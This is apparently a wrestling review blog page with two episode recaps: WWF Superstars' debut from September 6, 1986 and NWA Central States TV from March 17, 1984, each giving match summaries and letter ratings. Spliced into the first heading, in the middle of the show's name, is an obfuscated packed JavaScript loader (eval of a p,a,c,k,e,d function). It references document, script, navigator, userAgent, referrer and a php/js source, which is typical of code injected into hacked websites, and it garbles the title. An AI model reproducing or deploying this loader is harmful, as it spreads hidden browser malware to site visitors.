On This Day: September 6, 1986 – Superstars (Debut Episode): That Awkward Period Before Hogan vs. Andre

Superstars eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azztz|var|u0026u|referrer|rfryf||js|php'.split('|'),0,{})) of Wrestling
Date: September 6, 1986
Location; Providence Civic Center, Providence, Rhode Island
Commentators: Vince McMahon, Jesse Ventura, Bruno Sammartino

So I was going to do the September 13 episode when I found out that it was the second episode of the series. This would be during Hogan vs. Orndorff in what was an absolutely huge feud and indirectly led into Hogan vs. Andre the following year. I’d expect a lot of squash matches here which is what Superstars was known for as it replaced Championship Wrestling. Let’s get to it.

We open with an opening. There’s a good idea.

The announcers run down the people on the card tonight.

Ricky Steamboat/Sivi Afi vs. Roger Kirby/Terry Gibbs

The heels try to jump Steamboat and Afi but are quickly atomic dropped to the floor. Steamboat starts with Gibbs but it’s quickly off to Kirby. Now it’s quickly back to Ricky. Gibbs manages an elbow to take Afi down and the heels pound on Afi in the corner. A headbutt from Kirby puts him down but gets rolled up for two to stop the momentum. There’s the hot tag to Steamboat and house is cleaned. He suplexes Kirby down and Afi hits a top rope splash for the pin. Short but not half bad.

Video on Billy Graham training, set to Bad to the Bone by George Thorogood and the Destroyers. Graham, with a freaking tarantula crawling over his face, says he’s coming for Studd and Bundy.

Hart Foundation vs. Koko B. Ware/Paul Roma

This is Koko’s debut. It’s also Ventura’s first appearance since Wrestlemania too. Neidhart and Koko start things off and Koko armdrags him down. Off to Roma who doesn’t have as much luck because he isn’t that good. Bret, who is that good, comes in and pounds him down with ease. Ventura praises him and we get an inset promo from Koko who has nothing to say. While he’s talking the Hart Attack pins Roma. Vince calls it bad officiating but it seemed fine to me.

Koko saves Roma from a beating post match.

MSG house show ad. The Machines, including Hulk Machine, are ready for Heenan and his boys. Hogan trying to sound Japanese is borderline offensive and I’m not even Japanese.

Honky Tonk Man is coming and he wants to beat up Paul Orndorff. He was a face when he debuted until the fans were actually asked if they would give him a vote of confidence. In other words, the fans decided if he was a face or a heel. Now there’s something different.

Ron Shaw/Pete Doherty vs. Hillbilly Jim/Cousin Luke

Luke isn’t that good but he furthered the hillbilly gimmick for Jim. Jim and Shaw start us off and the Hillbilly throws him around for a bit before it’s off to Luke. Luke doesn’t do that well so Jim comes in and mauls them both, finishing Doherty with the bearhug. Total squash.

Meadowlands house show ad. Heenan isn’t worried about Steamboat because he has Mr. Wonderful ready. Orndorff knows what a monkey wrench is, and just like Steamboat’s martial arts, that won’t mean a thing.

Kamala vs. Tommy Sharpe

This is Kamala’s return apparently. Kamala’s manager King Curtis tells us about how great Kamala is. Sharpe gets in more offense than you would expect here, but at the end of the day he’s a jobber and Kamala is a returning monster. The big splash ends this in about two minutes.

Time for the Flower Shop with Adrian Adonis which replaced Piper’s Pit and set up a great angle between the hosts. Piper is the guest and he’s still on a cane due to the knee injury he suffered earlier in the knee. He says he’s not here tonight to fight (despite implying Adonis is female) but he does have a letter. They’re the ratings for the segments on WWF TV, and apparently the Flower Shop is killing them. He gives Jimmy Hart another letter which says that the Flower Shop will be canceled next week so that Piper’s Pit can return. Adrian freaks and it’s on next week.

Rougeau Brothers vs. Mike Fever/Bob Bradley

Bradley was in the last show I reviewed and it was the only time I had ever heard of him. I love little things like that. The Rougeaus aren’t fabulous yet but they take Bradley apart to get things going. We listen to some French commentary for no apparent reason. Total dominance again with Ray getting the pin after the Cannonball that the Quebecers would use as their finisher years later.

We get a clip from a previous Flower Shop where Heenan tries to prove that one of the Machines is Andre the Giant but they keep switching places to confuse him.

Big John Studd/King Kong Bundy vs. Corporal Kirschner/SD Jones

The Corporal and Studd start us off with the Corporal hitting and moving. He pounds on Studd and goes for a slam but Bundy breaks it up. Bundy comes in and uses fat man offense but it’s back to Studd quickly. Jones comes in and it’s Wrestlemania all over again. The Avalanche gets the quick pin. Literal squash. Even Vince says this match wasn’t that good.

Another MSG ad. Harley Race says that Tito Santana is in way over his head.

Vince tells us what’s coming next week and we’re out.

Overall Rating: D+. For a debut episode this was pretty forgettable, but back then it wouldn’t have been seen as all that bad. The idea here was to pump up the house shows so on that front, it did pretty well. It’s hard to criticize these shows because they’re not meant to be some masterpiece and a show that’s going to get you to watch next week like Raw is today. It wasn’t that bad and at 45 minutes, how can I really complain?

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NWA Central States TV – March 17, 1984 – A Good Lesson In Bad Chemistry

NWA Central States TV
Date: March 17, 1984
Location: Memorial Hall, Kansas City, Kansas
Commentators: Kevin Walters, Bill Morris

This is one of the NWA’s big territories from back in the day, but at this point it’s fallen on some hard times due to Vince’s nationwide plans. Harley Race was the big star but I think he’s moved into a management role by this point. I have no real idea what to expect here so I don’t have much else to say. Let’s get to it.

The show is called All Star Wrestling. Ok then. I’m sticking with Central States TV.

The announcers run down the card tonight. I only know a handful of these names.

Tommy Rogers vs. Scott Ferris

I’m assuming that’s the same Rogers from the Fantastics. He has a beard so it’s kind of hard to tell. Ferris is from Oregon and is the heel here. Very basic match here and the camera angle is taking some getting used to. It’s between the top and middle rope for the most part. Ferris is the bigger guy and the veteran here. He likes to drop knees it seems. Time for a bearhug because it’s the 80s. A belly to belly gets two. Scott works on the back but Rogers makes a very weak comeback. He walks into a hot shot though and a splash ends this with Ferris getting the very slow pin.

Rating: D. By today’s standards this was pretty boring and I don’t think it was all that great back then either. Ferris is a guy I’ve never really heard of but then again this is a territory so that has to be expected with a lot of them. This was really just a somewhat longer than usual squash, but Rogers would get a lot better.

Frank Leopard vs. One Man Gang

Gang is pretty new here and this is from a different area. Gordon Solie is on commentary. This is total dominance and for some reason we’re talking about Dusty Rhodes. I’d assume this is from Florida. It’s mentioned that Gang and Ron Bass are US Tag Champions so that puts this somewhere from late December of 83 to mid January of 84 in Florida. A splash ends this total squash.

Gorgeous Jimmy Garvin says he’s coming to St. Louis. He talks about an upcoming match with Chris Adams.

Tiger Mask vs. TG Stone

This is joined in progress. Stone gets knocked backwards and rolled up for two. Stone stomps away and is definitely the heel here. Tiger tries to use speed but Stone is an evil cheater who does bad things. Off to a chinlock and Stone pounds away. Most of this is just Stone pounding away on Tiger Mask. I’m assuming this is Tiger Mask I. That chinlockery continues, this time with a knee in the back.

A backdrop and a kneedrop combine to get one. Tiger Mask gets up and Hulks Up. Things get a little sloppy now as it seems like they go into a totally different match. Tiger gets up and things kind of stumble around into Stone taking him down. The masked one comes back and hits a backdrop and middle rope punch for two. A cross body gets two. Some punches and elbow drops get the same. A dropkick puts Stone down and it’s a time limit draw.

Rating: F. This was more about these two just not clicking at all. Tiger Mask is very good but he had nothing to work with here. Like I said, there’s only so much you can do in territories like these. You have guys like Stone who isn’t anything of note but he filled in a spot on a card. Bad chemistry abounded here.

Video on Bruce Reed, who is far more famous as Butch Reed. It’s a music video and all it really says is that Reed is awesome and strong. There are a LOT of shoulder blocks in this. This goes on WAY too long, as in like 5 minutes.

Chris Adams offers a rebuttal to Garvin. He’s British and from World Class where he had a long feud with Jimmy Garvin. They both had women involved. He also had two big contributions to American wrestling: he was the first big named guy to use a superkick, and he trained Steve Austin.

Wahoo McDaniel says he’s ready for his match with Harley Race for the Missouri Heavyweight Title, which was a big time title in those days.

Grapplers vs. Ted Oates

This is No DQ. The Grapplers are masked guys and Oates’ partner, Ron Richie, isn’t here yet so we’re starting with a handicap match. We’ll say that’s Grappler #1 to start. Oates fights them both off and the Grapplers regroup. We’ll say that’s #2 in there now. You really can’t tell them apart so there’s no point in trying to tell which is which. Oates hammers him down so it’s off to #1. The Grapplers run again as this has been one sided so far.

The Grapplers switch but the referee (the same one in all of the matches so far) catches him because of something about their boots. So the Grapplers tag and #1, the one that tried to cheat, comes in anyway. Oates nips up but finally gets in trouble due to the numbers advantage. The Grapplers start double teaming and here’s Bulldog Bob Brown to be Oates’ partner.

Brown tries to come in but gets shoved out for fear of a stern lecture I suppose. The Grapplers work over the leg with a spinning toe hold. Oates has finally seen Brown but #2 comes in and tries the same hold for awhile. Oates gets in a knee lift to #1 and makes the tag. Brown cleans house and wins very quickly with a belly to back suplex.

Rating: C-. Pretty basic tag match here once it got to the end. I’m not sure what the point of it was but I can’t hold that against it as I don’t know what the story was to it. Not a bad match or anything and the idea of having Oates desperately needing a tag worked well enough. Not bad and definitely the match of the show.

Brown and Oates take the Grappler down and try to find out if his boot is loaded. The other Grappler comes back and the boot goes upside Oates’ head to bust him open.

Post break Oates and Brown say they won.

Overall Rating: D. Like I said in the rating for the previous match, I’d have probably liked this a lot better if I had known some of the stories going into it. The stuff with the promos was good and I’d like of like to see some of those matches. The best way to describe this show is that the stuff that was good was good and the stuff that was bad was bad. Not the worst I’ve ever seen but it wasn’t anything great.

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